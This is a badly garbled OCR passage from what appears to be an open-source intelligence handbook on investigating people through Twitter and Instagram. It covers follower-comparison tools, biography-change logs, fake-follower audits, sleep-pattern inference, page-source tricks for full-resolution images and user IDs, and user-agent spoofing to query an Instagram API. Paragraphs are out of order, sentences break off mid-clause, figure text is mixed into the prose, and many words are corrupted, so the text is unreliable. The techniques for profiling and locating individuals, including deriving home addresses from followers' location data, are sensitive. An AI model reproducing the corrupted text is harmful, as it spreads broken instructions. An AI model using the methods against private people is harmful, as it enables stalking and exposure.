—A 8 ojE'fi 8 training rOSlNT techniques. Wrote a couple of ©nos Tue Sep 1115:44-20 *0000 2012 Kno«n to mott at M. Not as serous as I look. Fri Aug 07 03:49:08 *0000 2015 Wotcc Auntie flfti Bed Team Analyst at fortune 1 flMjBTh'-cf SY"! Security Qualty Wed Aug 3123:1455 *0000 2016 HuTjrXicker This It the official Twitter account of at things SCORG - The SEV. age. SEPodcast. and tlSun Jun 14 00 47:39 *0000 2009 The Dean Ma’enko of Stand-Up Corned/ and The taruyu’d Fujita of Roast Comedy. Sec Tue Sep 06145B56 *0000 2011 Screen Name Twitter 10 Name Description ©laccn.narrc 10257644794 Mid-acl Banell Open Source IntelBgen ©sacen.na-re ID 817655451 JustnSclU Creator of ©HunchY I ©screen_nyre 10 330M15723 SufjyAran Gscrccn_r.j-r-c 10 7711241370 Jek Hyde Piaecn.namc ID4699S400 Gtcrccn na-ne 10366971022 Wet Corwin This default search on Followerwonk is a good start. A more valuable search is to analyze the people who follow these users. The previous example identified people whom our targets followed. This will often include celebrities, businesses, and profiles that probably have no impact on your investigation. However, the people who follow your targets are more likely to be real people who may have involvement in your investigation. Figure 11.17 displays the results of the same targets when the search criteria was changed to "Compare their followers" in the dropdown menu next to the search button. We now see that the first and second subject still have no one in common. The first and third subjects have 200 people who follow both of their Twitter feeds. You can click the result link to identify these 200 people. This service offers options unavailable through TweetBeaver. The second tab at the top of the page, titled Compare Users , will allow you a thorough search. Figure 11.15 displays the analysis of three subjects. You can see that the first and second subject do not have any people in common that they follow on Twitter. This can indicate that they may not know each other in real life, or that they simply have different tastes in the people whom they find interesting. However, die first and third subjects have 79 people in common that they follow on Twitter. This is a strong indication that they know each other in real life and have friends in common. Clicking on the link next to this result will display the identities of these people as seen in Figure 11.16. The person search tools described later identified full names and telephone numbers of these two friends. Group photos found online of these targets identified one person always nearby, but without a Twitter account associated with this group. The same photos on Facebook identified my new target by name. This process led to a positive identification of my suspect. Bulk search tools help tremendously. If you only use one third-part}’ Twitter analysis tool, I recommend TweetBeaver. Hopefully, future API changes will not block this service. Followerwonk possesses other search capabilities for user analysis. The first tab at the top of the screen will search any term or terms to identify any Twitter bios that contain those words. This may identify’ profiles that were missed during the search on twitter.com for messages. Twitter's People option can be great when you locavsn URL Kmc Zone WiihxponO.C http77hteltechrJques.com Eastern Time (US & Canada) no: set Saskatoon. Saskatchewan http//ajtomstngo-Jntxom/blog Central Time (US & Canada) Mt jet not set rot set Pacific Time (US & Canada) Mt set Dataj.TX not set not set not set US* tap/Twwwaodal-cngheerdcc not set not set Datas.TX___________ Ktp7/wescoiv>Srcpmcdv.wcfdpreaaCT Pacific Time (US & Canada) enabled Real World AppHcation: The day this feature was released, I was investigating a suspicious Twitter account associated with violent threats toward a celebrity. The suspect had sanitized the account which prohibited obtaining valid location data. However, the suspect had numerous followers and people he was following. Using TweetBeaver, 1 could extract these accounts easily and supply them to the bulk lookup utility. 1 then sorted his friends by location which revealed a strong presence in a specific Midwest city. Of those target accounts of interest, I could see that a few were Geo-enabled. This provided home addresses for two people. Geo-enabled Language Vcnf.cd Tweets Fo'lowtrs Fo1owir< en verified 266 5456 0 en notverified 9163 7316 2123 cn not verified 22*3 1B94 622 en not ver. Tied 3820 12817 404 : verified 11498 25274 273 ivenfied 42 2725 2153 Comparison of users bartlorang & mollynicolcpatt & travls_todd follow 91! Figure 11.15: A Followerwonk user comparison. Followed only by bartlorang & tra«i=_todd No Sliters , • Io IIo k w s 9 screen name foUowng 9 73 2.670 26 Tecs Crunch 61 Dxdc! Cob^n 35a cLTZdcnhen 2i S 2*10 Reruno K Mi’lcr 204 ncnadKiuter TO 151985 B’ad Feia Figure 11.16: A Followerwonk list of users. Social Networks: Twitter 199 P.535 res 24222 followed only by bartlorang - followed only by mollynicolcpatt - followed only try travisjodd • lotowd only by bdrtlorang S mol-/n«a>tefxut followed only by bartlorang & trarlsjodd • •ero'MO on 7 cy nwiiyncnteoan 5 travsjodd loC-nw<l by at Hiraif comMied to’ai foocrecf 509 206 •• «* 178.3*4 3.057.744 51.321 688 Dare McClure TechCruncn 11.334 S3. 538 users foitowwl by barttera-.g 206 users loljwd b? moJyiiter.’fei'MO [2J 196 use’s lolswed by tii<i3_'odd 6> <S.£ E3 know die exact name that a target used when creating an account. If you arc unsure of the real name, or if the target has a very’ common name, Followerwonk can help you identify the profile that you are seeking. This service allows you to search Twitter profiles for any keyword that may help you locate a profile of interest You can choose the default "Twitter Bios Only" option or switch to "Search Twitter Profiles". The "More Options" under the main search box will display numerous fields including Location, Name, and Follower details. A search of "John Smith" reveals 21,156 Twitter profiles. However, a search of "John Smith" from "New York City" reveals only 125 profiles. Filtering out profiles that have not posted at least 100 Tweets reveals only 44 profiles. This is a manageable number of profiles that can be viewed to identify the target. 0 c m 79 0 . o co­ in 2019, Twitter began blocking access to user analytics if the account was marked as "private". Due to this change, Followerwonk will likely fail on any protected accounts. If this happens, you wall receive a warning in the upper portion of this page stating, "This report contains information on protected accounts. To view7, you must be an authorized follower". Fortunately, most Twitter profiles are publicly visible. The third tab, titled "Analyze", allows you to enter a single Twitter handle and either analyze the people the user follows or the people who follow that user. The second option usually provides more relevant results. The information provided during this search will display numerous pie charts and graphs about the user. The most useful is the map that identifies the approximate location of the people connected to the persons Twitter account. Figure 11.18 displays a map for one of the users searched previously. This provides a quick indication of the regions of interest to the target. Figure 11.19 displays a detailed level of an area near Denver. Each small dot identifies an individual Twitter account of a person that follows the target and lives or works in the general area. This location data is ver}’ vague and does not usually correctly correlate with the address on the map. This should only be used to identify the general area, such as the town or city, of the people who are friends with the target on Twitter. In the past, I have used this data to focus only on people in the same area as my homicide victim. I temporarily eliminated people who lived in other states and countries. This helped me focus on subjects that could be contacted quickly and interviewed. Social Auttron^* 9 1 Comparison of followers of bartlorang & mollynlcolepatt &travis_lodd I Figure 11.17: A Followerwonk user comparison. oW Brur Mmn«sota Maine oS o 16 36 Netxa:J<a 64 93 . 55 Figure 11.18: A Followerwonk map of users connected to a target. I Social Bearing (socialbcaring.com) 200 Chapter 11 ted States Kansas tctloncn only cl bartlorang - followers only of mollynieefcpatt - follewers only of trams_toad • fosiomts only or omVotang 4 moUynlcoieoa!: followers only of bartlorang S tra»is_todd - toiknms only o! mot>>nico.:>xi A transjood taOeers Of al tnrw 2313 US 237 0 j- WBlh. Ir yitrjHta .. Uorth 44 -linn eSS. Oklahoma . , ■u.jsissippr ’ “ • 2.S13 foBowxs or Di-rotano 05 loBowrs of rr.oJ.ncoIrjiat: •'_ ] 437 rosowm o’ im.-.s.todd i W Sth - • Total audience reach: This tells me whether the target has true followers or "fakes". • Total impressions: This tells me an accurate size of die target's audience. • Total ReTweets: This discloses if the target's audience engages with the content. • Total audience favorites: This confirms engagement from the target's audience. • Tweet sentiment: This indicates positive or negative tone within comments. • Tweet types: This identifies new content versus ReTweets of others. Ltiu--; c West Viminia Kcnivcky 11 Pennsylvania .\V^M,i5i \ Hhode it "X. Connecriciit 'CDelav.’^ie Msryfand EBdiAee------—------- E6lh*~------- n ,.,us —----E6rhA»e-.“- 21 23 fBihA.e - - (5'. .? -j-‘ ■ -£6Biive - W Are -— —L Avi 1' 1.---------i . .-_L. f w «5, < ■ Figure 11.19: A detailed view of a Followerwonk map of connected users. Wisconsin Michigan; .... /IJ; -- This robust solution combines the features of many resources within this chapter into one search. It relies on the Twitter API, so it will only analyze the most recent 3,200 Tweets. WTiilc searching my own account, I received a summaiy which included the following. Investigative benefits are next to each. 63 IKmo. Indiana https://socialbearing.com/scarch/uscr/inteltechniqucs TWEETS BY SOURCE Figure 11.20: A Social Bearing report. Twitter Biography Changes (spoonbill.io) https://spoonbill.io/data/inteltechniques/ TWEETS BY SENTIMENT • Tweet sources: This discloses the source of submission, such as mobile, desktop, or API. • Domains shared: This summarizes the web links posted within Tweets. • Word cloud: This provides a summary of the most common words posted. r i di O NtZrM TIMEFRAME 825 days TOTAL FAVES 14,334 GO 15,260 200 E2SZ3 27 0 TOTAL RTS 6,546 GO TWEETS BY TYPE IMFFESSlOTrt 2,635,336 This page displays several changes I made to my account on 9/8/16, including changing my name and location. Searching more active people will usually reveal many pages of changes, and will always display die previous content as stricken, and highlight any changes in green. I do not recommend creating an account to use this service, it will demand access to the people you follow, which could jeopardize your investigation. z\n alternative to this sen ice is SearchMyBio (scarchmy.bio). Real World Application: In 2017,1 assisted a law enforcement agency with a missing juvenile case. Authorities had suspicion initially that she may have run away, but became more concerned when all of her social networks became dormant and her cell phone stopped being used. Her Twitter profile possessed no valuable Tweets, and 1 could not find any deleted content to recover. I supplied her name to Spoonbill and immediately received a log of changes to her Twitter profile. Two months prior to her disappearance, she listed her Snapchat username on her biography. This led me to her Snapchat profile photo. This photo and username had not been present in any of my previous investigations, and revealed a whole new world of leads. The username was associated with On a final note about Twitter, I believe it is under-utilized by most investigators. We tend to find our target's profile on Twitter, scroll a bit, and quickly dismiss it. In my experience, the information most valuable to my case is never present in this live official view. Similar to the way that users delete Tweets and comments, they also modify the information within their Twitter biography on their profile page. Several sites have come and gone which attempt to record these modifications, and my current favorite is Spoonbill. Use of this free service from the home page requires you to log in to your Twitter account. However, a direct URL query will display any stored results. If you were researching my Twitter handle, the following address would bypass the account login, and the result is displayed in Figure 11.21. The graphical output of this resource is impressive, but the CSV export is more useful. Figure 11.20 displays the web view, and the CSV export option can be seen in the upper middle. Additionally, we can query an account directly via static URL. This allows us to include this resource in our automated tools. My account can be seen at the following URL. Social Networks: Twitter 201 Figure 11.21: A Twitter biography changed captured by Spoonbill. Twitonomy (twitonomy.com) Figure 11.22: z\ display of most common posting days and times. 202 Chapter 11 12am lam llsm l?pm _______ 1pm .---------- & pi Spm t=n Ppm r-i: Ppm w Sept. 8, 2016, 8:46 a.m. inteltechniques changed their bio to: Open Source Intelligence (OSINT) Training, Tools, and Resources. Tech Advisor @ Mr, Robot (USA Network). International Privacy Consultant. Sun ' I - I Tut | Wed j rb” an email address, which was used by the missing person to create another Facebook profile. The username from Facebook revealed her user ID number, which was used in the Facebook search tools mentioned previously. The "hidden" images connected to this account provided many interesting suspects. Within an hour, a single suspect had emerged from die new discoveries, and die juvenile was located safely nearby. I cannot overstate die necessity to retrieve modified and deleted content during ever}’ Twitter investigation. The remaining sections of this page identify current posts, followers, people following, favorites, and lists. The main analytics portion identifies the average number of posts by day of the week and by hour of the day, as seen in Figure 11.22. It also displays from which platforms die user Tweets. Figure 11.23 displays this portion. This data discloses diat the target has an Android and an iPhone, and that the majority of his Twitter time is spent on a Mac computer. This also identifies his preferred web browser, check-in utility, photo sharing sendee, and video sharing sendee. Other information includes his Tweets that arc most "favorited" and "ReTwceted"; the users to whom he replies most often; and the users whom he mentions more than others. One Twitter analytics website that stands out from the rest is Twitonomy. This is the most complete analytics sendee that I have found for a single Twitter handle. A typical user search would fill four pages of screenshots. A search of one user revealed the following details. He has posted 8,689 Tweets He is following 170 people He has 17,079 followers He joined Twiner on June 14, 2009 He averages 5 Tweets per day He has mentioned 4,175 other Twitter users He replies to 34% of posts to him He has ReTwceted 621 posts (15%) Twitter Web Cxr.t □ □ Google 0 Figure 11.23: A portion of a Twitonomy search result identifying user platforms. Twitter Location Information Omnisci (omnisci.com/demos/tweetmap) One Million Tweet Map (onemilliontweetmap.com) Tweet Mapper (keitharm.me/projects/tweet) locate anything, this Fake Followers If your target possesses Tweets with location data, but the previous two options failed to locate anything, this map could reveal the data. The project appears to be abandoned, but I receive occasional results. Social Bearing (socialbearing.com), which was previously explained, also offers geo-search options. LJ Tvr.ttsr tar Arcrcla fc'rij YcnjFukwoj TwectCastcr <or iOS Twitter for Wcbattea Slashdot tojjm This service only displays the most recent one million Tweets on an international map. They do not have access to every Tweet available, often referred to as the "firehose", but they offer new Tweets even’ second. 1 would never rely on this map for complete data about a location. However, monitoring a large event can provide live intelligence in an easily viewed format. 1 recommend using a mouse scroll wheel to zoom into your location of interest. Once you are at a level that you can see single Tweets, you can click any of them to see the content. The page will automatically refresh as new information is posted. There are a surprising number of Twitter accounts that are completely fake. These are bought and sold daily by shady people who want to make their profiles appear more popular than they really are. 1 have seen a lot of While privacy-aware individuals have disabled the location feature of their accounts, many users enjoy broadcasting their location at all times. Identifying a user's location during a Twitter post is sometimes possible through various methods. Prior to 2014, identifying the GPS details of every post of man}’ users was simple. Today, most of these identification techniques are no longer working. A manual Twitter search method for identifying posts by location was explained earlier. That technique is best for current or live information, and is limited to only recent posts. You may have a need for historical details from previous posts from a specific location. I have had better success with historical data than current content in regard to geolocation. I believe this is because most people unknowingly shared their location while Tweeting for many years. When Twitter changed the default location option to "Disabled", most users never intentionally re-enabled the feature. Fortunately, there arc third-part}’ websites that collected this historical data, and can assist with easy searching. The following options will work best when you are investigating events that occurred several years prior. Whil you may get lucky and receive some recent posts, the majority could be quite old. Social Networks: Twitter 203 Omnisci is a massive database platform developed through collaboration between MIT and Harvard. Historically, each college had their own interface into this data, which supplied Twitter post locations from past Tweets. Each interface provided new ways of searching information. Both websites have been disabled, and the entire project has warped into Omnisci. This website can search by topic, username, or location. It can also combine all three options to conduct a detailed search. Results appear as blue dots on a dark map. Each dot represents a Tweet which possesses location data to the chosen area. SparkToro (sparktoro.com/tools/ fake-followcrs-audit) https://sparktoro.com/fake-followcrs/inteltechniques Twitter Audit (twitteraudit.com) 18.5% 7% High Median from SparkToro. Miscellaneous Twitter Sites Sleeping Time (sleepingtime.org) 204 Chapter 11 Michael Bazzell Michael Bazzell @lntelTechniques 20,682 Followers Accounts with a similar sized following to @lntelTechniques have a median of 185% fake followers. This account has more fake followers than most. https://www.twitteraudit.com/inteltcchniques Figure 11.24: A fake followers report 30% InicITechniqucs 28.6% (5,915) Fake Followers This tool defines ‘fake followers* as accounts that arc unreachable and will not see the account's tweets (either because they’re spam, bots. propaganda, etc or because they’re no longer active on Twitter). The most robust option is SparkToro. Analyzing my own account, it declared that 28% of my followers were "accounts that are unreachable and will not see the account's tweets", as seen in Figure 11.24. It also provided some metrics and a full explanation as to how it achieves its results. This is something die others do not disclose. Once you have logged in to a Twiner account, you can query further users at the following static URL. target profiles that have been padded with these fake followers. There are two websites that will assist in distinguishing the authentic profiles from the fraudulent. They both require you to be logged in to a Twitter account, and I will compare the results of each. Ever) week, a new site arrives that takes advantage of die public data that Twitter shares with the world. These sites offer unique ways of searching for information that Twitter does not allow on their main page. This partial list is a good start to finding information relevant to your target. I encourage readers to follow my blog, podcast, and Twitter account for any updates which surface after this book has been published. This option identified 9% of my followers as "fake" and provided very few details. It also allows for submission through a static URL, but you still need to request an audit once you get to the page. The following would display results for my own page. This site allows for a search of an exact Twitter profile name, and provides the average time period that this user sleeps. The historical Tweets are analyzed according to the times of posts. Data is then presented that suggests when the user is usually sleeping due to lack of posting during a specific time period. A query of Kevin Mitnick revealed that he is likely to be sleeping between 12am and 7am according to his Tweets. .Although the idea was probably executed as a fun site, it can be quite useful. Twiangulate (twiangulate.com) Tinfoleak (tinfoleak.com) FollerMe (fbller.me) TweetTopic (tweettopicexplorer.neoformix.com) IntclTechniqucs Twitter Tool Twitter ID # /Xccount Creation Date # of Followers # Following Location Time Zone Number of Tweets Twitter Clients Used Hashtags User Mentions Metadata from Images Geo-Location Data Earlier, I explained how I use TweetBeaver to filter most of my Twitter friend and follower data. If it should become unavailable, there are two additional websites which can assist. Twiangulate identifies mutual friends on two specific accounts. In one example, 521 people were friends with one of my subjects. However, only 15 were friends with both targets of my investigation. This can quickly identify key users associated within an inner circle of subjects. All 15 subjects were listed within the results including full name, photo, bio, and location. While Twiangulate has assisted me in the past, I now recommend Followerwonk as a superior solution when you have multiple suspects. This Twitter analytics tool provides a simple yet thorough report. The website requires that you log in to your Twitter account through this service, and the report includes the following information. My own can be seen at https://tinfoleak.com/reports2/inteltechniques.html. This simple tool provides one feature that I have found helpful in my investigations. Once you supply the target Twitter username, it collects the most recent 3,200 Tweets and creates a word cloud. This identifies the most common words used within posts by the target. There are several sites that do this, but this service takes it a vital step further. Clicking on any word within the result displays only the Tweets that include the selected term. Clicking on any of the text circles would immediately identify posts related to those terms. I have used this when I have a target with too many posts to read quickly. TweetTopic allows me to quickly learn what my target posts about and immediately delve into any topics of interest to my investigation. I found myself using many of these manual Twitter techniques daily. In order to prevent repetitive typing of the same addresses and searches, 1 created a custom tool with an all-in-one solution. Download the archive mentioned previously to access this resource. This page includes embedded JavaScript that will structure and execute web addresses based on your provided information. Figure 11.25 displays the current state of this tool. Any utilities that do not look familiar will be described in the remaining pages of this book. This tool will replicate many of the Twitter searches that you have read about here. The first option on the left side populates all of the search fields with your target's Twitter name when entered there. This should save time and avoid redundant pasting of data. Clicking "Go" next to each option This service is very similar to the previous Twitter analytics options. Providing a Twitter username presents the typical bio, statistics, topics, hashtags, and mentions analysis that you can find other places. I find the following option of most interest to my investigations. I previously explained Sleeping Time as a resource to learn a target's usual sleep pattern based on posting times. FollerMe provides a bit more detail including posting patterns per hour. Note that the results are displayed in Universal Time, so you will need to convert as appropriate for your suspect. Since I am on the east coast (UTC -5), my own example indicates that I tend to never post before 8:00 a.m. or after 11:00 p.m. My peak Tweeting time is at 11:00 a.m. There is a very obvious sleep pattern present within this result. Social Networks: Twitter 205 Populate All Twitter Username IntelTechniques Tools Twitter Profile Search Engines Twitter Username Outgoing Tweets Twitter Username Facebook Incoming Tweets Twitter Username Media Tweets Twitter Username Liked Tweets Twitter Username Outgoing by Year Instagram Twitter Username Incoming by Year Twitter Username Linkedln TB User ID Twitter Username TB Username Twitter Number Communities TB User Data Twitter Username Email Addresses TB Followers Twitter Username TB Friends Twitter Username Usernames TB Tweets Twitter Username TB Likes Names Twitter Username SocialBearing Twitter Username Telephone Numbers FollorMe Twitter Username Twitter Username Maps Twitter Username Documents Bing Archives Twitter Username Yandex Archives Twitter Username Pastes Google Cache Twitter Username Google Text Twitter Username Images Wayback Machine Twitter Username Videos SearchMyBio Twitter Username Spoonbill Twitter Username Domains First Follower Twitter Username Friend Analysis Twitter Username IP Addresses Follower Analysis Twitter Usemame Business & Government Twitter Audit Twitter Username SparkToro Twitter Username Virtual Currencies Twitonomy Twitter Username Profile Search I Data Breaches & Leaks Real Name Profile Search II i Real Name OSINT Book Submit All Twitter Username License Figure 11.25: The IntelTechniques Twitter Tool. 206 Chapter 11 Google Archives Google Tweets executes the query in a new from your searches. They tab in your browser. As a reminder, this page collects absolutely no information are all conducted within your own browser, and no data is captured by my server. sitezinstagram.com "OSINT" sitetinstagram.com darren kitchen hak5 site:instagram.com darrcn hak5 site:instagram.com "hak5darren" Social Networks: Instagram 207 Ch a pt e r Tw e l v e So c ia l Ne t w o r k s : In s t a g r a m This same term searched on an Instagram page only displayed users that have the term within the username. When searching "#OSINT" on Instagram, I was provided a list of hashtags that include the keyword. Each of these hashtags are associated with multiple Instagram posts. Consider the following example in order to identify the benefits of searching away from the Instagram website. While on an Instagram page, 1 searched for my target "Darren Kitchen" from Hak5. This presented several profiles associated with people having that name, but none of them were my target. Instead, I went to Google and conducted the following search. In previous editions of this book, I detailed several third-party Instagram search options that unlocked a lot of hidden content within user accounts. On June 1, 2016, Instagram tightened their API, and this killed most of the useful websites. My own Instagram tools page suffered drastically from the new restrictions in 2018 and 2020, and 1 had to start over with new options. Fortunately, you still have many search options for your next Instagram investigation. Let's start with keyword searching. 1 have found greater success with a custom Google search instead of an Instagram search field. The following query on Google will produce 963 results that displa’ Instagram posts that mention "OSINT" within the post tide or comments. While Facebook and Twitter are likely going to offer the most bang for your buck in terms of web-based social network presence, Instagram has captured a large share of the market over the past two years. Instagram is a photo-sharing service that is now owned by Facebook. With well over 1 billion active monthly users, the amount of content available here is overwhelming. This application works alone or in correlation with Facebook and Twitter to distribute the photos. This sendee is very popular with most photo sharing Twitter users and should not be ignored. My preferred method of downloading a person's entire Instagram profile is through the Python tools Instalooter and Instaloader, as previously explained in the Linux, Mac and Windows chapters. These utilities will download all the images from a profile, but there is much more data out there which may be valuable to your investigations. You will need to be logged in to an Instagram account for most techniques in this chapter. First, let's start with some basics. These are the various pages and posts that contain the text of my target's username. Many of these are posts from the target, which we have already seen by looking at his profile. A few are from associates of the target Surprisingly, there is no search feature on the Instagram home page. If you want to search Instagram, you must connect directly to an account such as Instagram.com/mikeb. However, this search field only identifies users and hashtags related to the search terms. It does not provide a true keyword search. We will use search engines for this in a moment. The first result was my target's profile (@hak5darren). Similar to Facebook and Twitter, a person's Instagram profile only tells a small portion of the story. Conducting the following search on Google revealed 215 results. This produced one result, but it was not connected to my target. Since people seldomly use last names on Instagram, I modified my search to the following. site:instagram.com "@hak5darren" site:instagram.com "@hak5darren" site:instagram.com "hak5darren" (3 Images Q Maps Q Maps 0 Videos □ Videos Q. All Q. All 0 Images 6 results (0.22 seconds) About 235 results (0.29 seconds) Figure 12.01: Google search queries for Instagram data. Figure 12.02: Google search results of Instagram data. Instagram Images 208 Chapter 12 www.instagram.com > BxzghjtAJqf SECARMY on Instagram: “WHAT IS WIFI PINEAPPLE? It is a ... rapunze!128 To @hak5darren you might want to repost this . May 23, 2019. More posts from https://scontent-ort2-l.cdninstagram.eom/v/t51.2885-19/sl50xl50/13534173_16200174849 77625_1916767107_a.jpg?_nc_ht=scontent-ort2-l .cdninstagram.com&_nc_ohc=LzuR3Sy5xb MAX_ioE4J&oh=4c0e7379c2c9258el9496365f0ac5b54&oez:5FCECFAl a”J^crc e^se on Pr°file, I have the option to "View Page Source". This opens a new tab w ic isp ays t c TML source code (text) behind the profile page. I can also navigate direcdy to view- sourcc:https://www.instagram.com/hak5darren/ to see this result. Within this text, I can search for "ogtimage" an recen e on j one result The extremely long URL within this line should appear similar to the following. th1"' “ifT °bS“dc with 'nsagram searches that needs to be addressed. When you identify a profile of interest, locate these In f i • eSe t^uiP^’na*^s and original images are stored. The goal of this technique is to an examnl I V..[es.° UDOn *ma8es ancl identify the full high-resolution images that were originally uploaded. For h^fil P‘ r c,USCr "hak5d’«""- His profile is acinsragran^eom/hak5darren. When I right-click menu whats^ P,ctu^ o<;ked from opening the image alone in a new tab. In fact, there is no right-click Drevio 1 ’ ^iT t-C lc^ on t^lc images, I also receive no option to view the image alone, which source code^ofthepageVefS*On* ^nstagram *s actively blocking us, so we will need to dig into the Similar to the previous search, it forces Google to ignore the target's profile, and only focus on people that are posting "to" the target with @hak5darren instead of just his username alone. These searches can be modified to include or exclude keywords, usernames, real names, or any other terms with which you have interest. You could also repeat these on Bing and Yandex for better coverage. Figure 12.01 displays the difference in search results while Figure 12.02 identifies a post targeted toward a user. Hopefully, you now have a target profile of interest. Now we can dig into our target within Instagram and through third-part}' resources. and may otherwise be missed. 1 now only want posts that contain "@hak5darrcn" within the content This is more likely to find other people mentioning my target. view-source:https://www.instagram.com/p/CGVRO3ugIqB/ instadownloader.co instadp.org instaofflinc.net Conduct a search within this text for "1080". The first URL which contains "1080" within it should appea* similar to the following. If we repeat the process of replacing ever}’ instant of "\u0026" withih the URL with it loads fine. This example would be the following. https://scontent-ort2-l.cdninstagram.eom/v/t51.2885-15/e35/sl080xl080/121444790_40050 2137780052_8677700310481038267_n.jpg?_nc_ht=scontent-ort2-l.cdninstagram.com&_nc_ca t=108&_nc_ohc=4Z6AAizM61UAX8m-mbt&_nc_tp=15&oh=b749a6ed0ec950047d6dd2cb93 5192aa&oe=5FCE421 A https://scontent-ort2-l.cdninstagram.eom/v/t51.2885-19/s320x320/13534173_162001748497 7625_1916767107_a.jpg?_nc_ht=scontent-ort2-l.cdninstagram.com\u0026_nc_ohc=LzuR3Sy 5xbMAXJoE4J\u0026oh=2bf635f240a70215afl)444210a82e566\u0026oe=5FD0B4B9 https: //scontent-ort2-l .cdninstagram.com/v/151.2885-15/e35/si 080x1080/121444790_40050 2137780052_8677700310481038267_n.jpg?_nc_ht=scontent-ort2-l .cdninstagram.com\u0026_ nc_cat=108\u0026_nc_ohc=4Z6AAizN161UAX8m-mbt\u0026_nc_tp=15\u0026oh=b749a6e d0ec950047d6dd2cb935192aa\u0026oe=5FCE421 A Copying this URL into your browser likely presents "Bad URL timestamp". This is because Instagram wants to make it difficult to obtain images with higher resolution. Fortunately, some minor modification of the URL returns the feature. If we simply replace every instant of "\u0026" within the URL with it loads fine. This example would be the following. https://scontent-ort2-l.cdninstagram.eom/v/t51.2885-19/s320x320/13534173_162001748497 7625_1916767107_a.jpg?_nc_ht=scontent-ort2-l.cdninstagram.com&_nc_ohc=LzuR3Sy5xbM AX_ioE4J&oh=2bf635f240a70215af0444210a82e566&oe=5FD0B4B9 This URL presents a profile image which is now twice as large as the original image provided within the profile. This is not the full-size image, but it possesses a higher resolution. Fortunately, we can do much better in regard to the images from his posts. When clicking on the first image on his profile, we are given a new URL of https://www.instagram.eom/p/CGVRO3uglqB/ which displays the image and comments. The image is highl}’ compressed. Clicking on the image does nothing, and right-clicking gives us no options associated with photos. Instead, right-click on this post image and select "View Page Source" again. This opens a new' tab similar to the following. This image has much higher resolution, and is our best option for viewing and archiving. Once you load this URL in the browser, you can right-click on the image and easily save it. Does this seem like too much trouble for ever}’ image of interest on Instagram? No argument here. If you prefer to allow’ a third-part}’ service to replicate this for you, the following sites will download the best quality image available within a post. Regardless of your method, you should understand the functions allowing for the capture of these high-resolution images. Social Networks: Instagram 209 Notice the section of "si 50x150". This tells Instagram to only display a 150-pixel square icon of the target. This is a highly compressed thumbnail image. In previous years, we could remove that section and display the full- sized image, but that no longer functions. Instead, we can only enlarge the profile image slightly. In the previous URL notice the number directly before ".jpg". The last set of numbers is "1916767107". Back in the page of source code for the profile, conduct a search for these numbers. You should receive three results, the third is a URL similar to the following. Metadata Details "owner": {"id" https://i.instagram.com/api/v 1 / users/340416780/info/ https://www.instagram.com/p/Btbtlu 1HIQ3/ 210 Chapter 12 The text-only result should display pages of details, but I find the following of most interest. "pk": 340416780, "username”: "hak5darren", "full_name": "Darren", "is_private": false, "media_count": 949, "geo_media_count": 0, "follower_count": 5855, "following_count": 257, "external_url": "http://hak5.org", "has_videos”: true, "has_highlight_reels": true, "has_guides": false, "can_be_reported_as_fraud": false, "is_business": false, You should also consider digging into the source code of your evidence in order to identify further details that could be valuable. First, I like to identify the user number of an account. Similar to Facebook and Twitter, people can change their username on Instagram, but not their user number. Right-click on your target profile page and select the option to view the source code. This will open a new tab with a lot of pure text. Using either "Ctrl" + "F" or "command" + "F", conduct a search for exactly the following. The numbers directly after this data will be the user number of your target. In our previous example, his user number is 340416780. Viewing the source code of this page, search for "taken_at_timestamp". This produces a Unix timestamp of 1549225611". Converting this from Unix to standard time on the website located at epochconverter.com reveals the image was uploaded on Sunday, February 3, 2019 at 8:26:51 PM in universal time (GMT) format Your target may change their username, but they cannot change their user ID. If you know that your target's user ID is 340416780, but you can no longer access their profile based on the username, we can query the Instagram API to get the new details. However, you must first spoof your user-agent. In Chapter Two, I explained the Firefox extension called User-Agent Switcher and Manager. Open this menu within your Firefox browser; change the second drop-down menu to "Android"; change the first drop-down menu to "Instagram"; select the first option; click "Apply" (container on window); and navigate to the following page. I realize these details are very minor. However, documenting this content can announce the difference between an average OSINT investigator and an expert. If you plan to serve any legal process later, knowing the user number and exact time of activity will be crucial. If the target had changed his username, we would see it here. While inconvenient, this is the most stable way to translate a user ID back into a username. While we are looking at the source code of pages, we can use this technique to identify the exact time that a post was published. Instagram only identifies the date of a post, and not the time. This detail can be crucial to a legal investigation. For this example, I located an image posted by our target at the following address. Hashtags https://www.instagram.com/explore/tags/osint/ Followers & Following Figure 12.03: A partial spreadsheet of people being followed by the target. As you can see, this is quite messy and only presents partial information. https://www.instagram.com/graphql/query/?query_hash=d04b0a864b4b54837c0d870b0e77e076&variables = {0/o22id%22:%223404167807o22,%22include_reel%22:true,‘/o22fetch_mutual7o22: false,,!/o22first%22:50} 196 https://www.instagram.com/dragorn/ 197 https://www.instagram.com/smacktwin/ 198 https://www.instagram.com/serafinamoto/ 199 https://www.instagram.com/moon spot/ After logging in to your account and navigating to the target profile, you will be able to simply click on "Followers'* or "Following". In this demonstration, I chose the people he is "following", often referred to as friends. This opened a new window on my screen with the first twenty people displayed. Since hakodarren follows 215 people, 1 can scroll down the entire list to load all of the accounts. You will not be able to see all of the accounts at once because the window only displays ten within its boundaries. This causes screen capture tools to be useless in this scenario. If you are using either the Firefox browser we created within Linux or your own version of Firefox with the recommended add-ons, you can easily copy this list. After scrolling down to load all of the users, press either "Ctrl" + "A" (Windows & Linux) or "command" + "A" (Mac) on your keyboard. This will highlight or "select" the enure list. Next, right-click within this window and choose "Copy selected links". This copies all of the Instagram account hyperlinks within the target's following list into your computer clipboard. Open your desired documentation software, such as Word, Excel, or any text editor, and paste the contents into the application. 1 prefer Excel (or Calc within the free LibreOffice suite) for this task. Pasting the results confirmed 199 accounts, four of which are shown in Figure 12.03. Repeat the process with "Followers". Instagram now requires users to be logged in to an account in order to view the followers of a target or the profiles that a target follows (friends). Viewing these lists is not a challenge, but proper documentation can be tricky. The following explains how 1 choose to view and document every Instagram follower and friend of my target account, using hakodarren as an example. In my experience, Instagram limits the number of accounts within this window to 1,000. This should be sufficient for most friends of the target, but may be limited when looking at the followers of famous people. While Instagram offers a text-only view of followers and following, it appears limited to 50 random profiles. 1 included these long links within the search tools, but I do not rely on them. 1 prefer this manual method. If your target's user ID was 340416780, the following URL presents the first 50 people he is following. I do not pay much attention to hashtags within my investigations. I prefer to focus more on search terms. Many people do not properly tag a post, and you can miss a lot by limiting your search to a hashtag. If I search for hashtags of #shooting, I may see valuable data. If a potential target only posts the term "shooting" without the I would miss the post. This is why I rely much more heavily on searching within Google, as explained momentarily. A hashtag is a word or phrase preceded by a hash sign (#) used on social media websites and applications, especially Twitter and Instagram, in order to identify messages on a specific topic. If 1 wanted to view all posts tagged with "osint", the following direct URL would be appropriate. Social Networks: Instagram 211 